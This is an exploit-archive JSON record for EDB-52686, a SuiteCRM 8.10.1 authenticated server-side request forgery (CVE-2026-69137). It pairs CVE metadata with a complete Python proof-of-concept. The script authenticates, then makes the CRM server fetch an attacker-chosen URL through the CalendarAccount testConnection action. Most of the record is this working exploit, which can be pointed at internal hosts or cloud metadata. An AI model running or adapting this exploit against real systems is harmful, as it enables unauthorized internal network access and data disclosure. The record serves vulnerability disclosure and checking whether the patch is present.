{"exploit":{"id":"EDB-52686","name":"SuiteCRM 8.10.1 - Authenticated Server-Side Request Forgery (SSRF)","description":"SuiteCRM 8.10.1 - Authenticated Server-Side Request Forgery (SSRF)","cves":["CVE-2026-69137"],"author":"Max Gabriel","published":"2026-10-01","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52686","path":"exploits/multiple/webapps/52686.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52686.py","vulnerabilities":[{"id":"CVE-2026-69137","state":"PUBLISHED","title":"SuiteCRM: Authenticated SSRF in CalendarAccount testConnection Allows Internal Network Access and Response Disclosure","titleSource":"CVE Program","description":"SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to 7.15.2 and 8.10.2, the CalendarAccount testConnection action passes an authenticated caller's server_url directly to curl without host, address, or scheme validation. The affected flow begins at CalendarAccount::action_testConnection and uses server_url, CalDAVProvider::makeCalDAVRequest(), and PROPFIND to carry attacker-controlled data or authorization state into the security-sensitive operation. The server sends a PROPFIND request from its network context and returns non-success response bodies, enabling internal-service access, partial response disclosure, service enumeration, and possible cloud metadata access. This issue is fixed in versions 7.15.2 and 8.10.2.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69137","cvss":{"version":"3.1","baseScore":7.7,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69137"},"updatedAt":"2026-11-09T17:44:44.546Z","retrievedAt":"2026-11-25T16:13:33.741Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52686.png?v=2","url":"https://exploitbin.com/exploits/EDB-52686","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52686/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52686/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: SuiteCRM  8.10.1 - Authenticated SSRF\n# Exploit Author: Max Gabriel (https://github.com/EntroVyx)\n# Vendor Homepage: https://suitecrm.com/\n# Software Link: https://github.com/SuiteCRM/SuiteCRM\n# Version: <= 7.15.1, <= 8.10.1\n# Tested on: SuiteCRM 7.15.1, Apache 2.4, PHP 8.1, MariaDB 10.6\n# CVE: CVE-2026-69137\n# Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c\n#\n# Usage:\n#   python CVE-2026-69137.py -u https://suitecrm.example -U user -P password\n#   python CVE-2026-69137.py -u https://suitecrm.example --cookie 'PHPSESSID=value' \\\n#       --server-url http://127.0.0.1:8080/\n#\n# The default destination is 127.0.0.1:1. It is a closed loopback port probe that\n# demonstrates the vulnerable server-side request path without requesting a service.\n# Use --server-url only on systems and destinations you are authorized to test.\n\"\"\"\n\nimport argparse\nimport http.cookiejar\nimport json\nimport ssl\nimport sys\nfrom typing import Optional\nfrom urllib.error import HTTPError, URLError\nfrom urllib.parse import urlencode, urljoin, urlparse\nfrom urllib.request import HTTPCookieProcessor, Request, build_opener\n\n\nDEFAULT_SERVER_URL = \"http://127.0.0.1:1/\"\nUSER_AGENT = \"CVE-2026-69137-POC/1.0\"\n\n\ndef base_url(value: str) -> str:\n    \"\"\"Validate and normalize the SuiteCRM base URL.\"\"\"\n    parsed = urlparse(value)\n    if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n        raise argparse.ArgumentTypeError(\"target URL must include http(s):// and a host\")\n    return value.rstrip(\"/\") + \"/\"\n\n\ndef response_body(response) -> tuple[int, str, str]:\n    \"\"\"Return status, content type, and a decoded response body.\"\"\"\n    status = getattr(response, \"status\", response.getcode())\n    content_type = response.headers.get(\"Content-Type\", \"\")\n    raw = response.read()\n    charset = response.headers.get_content_charset() or \"utf-8\"\n    return status, content_type, raw.decode(charset, errors=\"replace\")\n\n\ndef make_opener(insecure: bool):\n    jar = http.cookiejar.CookieJar()\n    handlers = [HTTPCookieProcessor(jar)]\n    if insecure:\n        handlers.append(ssl.HTTPSHandler(context=ssl._create_unverified_context()))\n    return build_opener(*handlers)\n\n\ndef post(opener, endpoint: str, values: dict[str, str], cookie: Optional[str], timeout: int):\n    headers = {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        \"User-Agent\": USER_AGENT,\n    }\n    if cookie:\n        headers[\"Cookie\"] = cookie\n    request = Request(\n        endpoint,\n        data=urlencode(values).encode(\"utf-8\"),\n        headers=headers,\n        method=\"POST\",\n    )\n    return opener.open(request, timeout=timeout)\n\n\ndef login(opener, endpoint: str, username: str, password: str, timeout: int) -> None:\n    \"\"\"Create a SuiteCRM legacy session using the normal Users/Authenticate action.\"\"\"\n    values = {\n        \"module\": \"Users\",\n        \"action\": \"Authenticate\",\n        \"user_name\": username,\n        \"username_password\": password,\n    }\n    try:\n        response = post(opener, endpoint, values, None, timeout)\n        response.read()\n    except (HTTPError, URLError) as error:\n        raise RuntimeError(f\"login request failed: {error}\") from error\n\n\ndef parse_result(status: int, content_type: str, body: str) -> int:\n    \"\"\"Print a concise result and return a process exit code.\"\"\"\n    try:\n        payload = json.loads(body)\n    except json.JSONDecodeError:\n        print(\"[-] The endpoint did not return JSON. Authentication may have failed.\")\n        print(f\"    HTTP {status}; Content-Type: {content_type or 'unknown'}\")\n        return 2\n\n    message = str(payload.get(\"message\", \"\"))\n    data = payload.get(\"data\") if isinstance(payload.get(\"data\"), dict) else {}\n    error_code = payload.get(\"error_code\", \"\")\n\n    if error_code == \"INVALID_ARGUMENT\" and \"not allowed\" in message.lower():\n        print(\"[+] Target rejected the supplied URL; the SSRF fix appears to be present.\")\n        return 0\n\n    if error_code == \"CONNECTION_TEST_FAILED\" or data.get(\"success\") is True:\n        print(\"[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.\")\n        if message:\n            print(f\"    Server message: {message}\")\n        if data.get(\"success\") is True:\n            print(\"    The supplied endpoint returned a successful CalDAV response.\")\n        return 1\n\n    print(\"[?] The endpoint returned an unexpected JSON response.\")\n    print(json.dumps(payload, indent=2, ensure_ascii=False))\n    return 3\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated proof of concept for SuiteCRM CVE-2026-69137.\"\n    )\n    parser.add_argument(\"-u\", \"--url\", required=True, type=base_url, help=\"SuiteCRM base URL\")\n    auth = parser.add_mutually_exclusive_group(required=True)\n    auth.add_argument(\"--cookie\", help=\"authenticated SuiteCRM Cookie header value\")\n    auth.add_argument(\"-U\", \"--username\", help=\"SuiteCRM username\")\n    parser.add_argument(\"-P\", \"--password\", help=\"SuiteCRM password; required with --username\")\n    parser.add_argument(\n        \"--server-url\",\n        default=DEFAULT_SERVER_URL,\n        help=f\"URL fetched by SuiteCRM (default: {DEFAULT_SERVER_URL})\",\n    )\n    parser.add_argument(\"--timeout\", type=int, default=35, help=\"HTTP timeout in seconds (default: 35)\")\n    parser.add_argument(\"-k\", \"--insecure\", action=\"store_true\", help=\"do not verify target TLS certificate\")\n    args = parser.parse_args()\n\n    if args.username and not args.password:\n        parser.error(\"--password is required when --username is used\")\n    if args.timeout <= 0:\n        parser.error(\"--timeout must be greater than zero\")\n\n    endpoint = urljoin(args.url, \"index.php\")\n    opener = make_opener(args.insecure)\n\n    try:\n        if args.username:\n            print(\"[*] Authenticating with SuiteCRM legacy login...\")\n            login(opener, endpoint, args.username, args.password, args.timeout)\n\n        print(f\"[*] Sending testConnection request with server_url={args.server_url}\")\n        values = {\n            \"module\": \"CalendarAccount\",\n            \"action\": \"testConnection\",\n            \"source\": \"caldav_basic\",\n            \"username\": \"probe\",\n            \"password\": \"probe\",\n            \"server_url\": args.server_url,\n        }\n        response = post(opener, endpoint, values, args.cookie, args.timeout)\n        status, content_type, body = response_body(response)\n    except HTTPError as error:\n        status, content_type, body = response_body(error)\n    except (URLError, OSError) as error:\n        print(f\"[-] Request failed: {error}\")\n        return 2\n\n    return parse_result(status, content_type, body)\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","sha256":"69f8f4365f351b1f3a7c31980676d37e9cef182171d40b153792941480274da8","bytes":6709,"fetchedAt":"2026-11-25T10:17:06.385Z","encoding":"utf-8 (display only; download retains original bytes)"}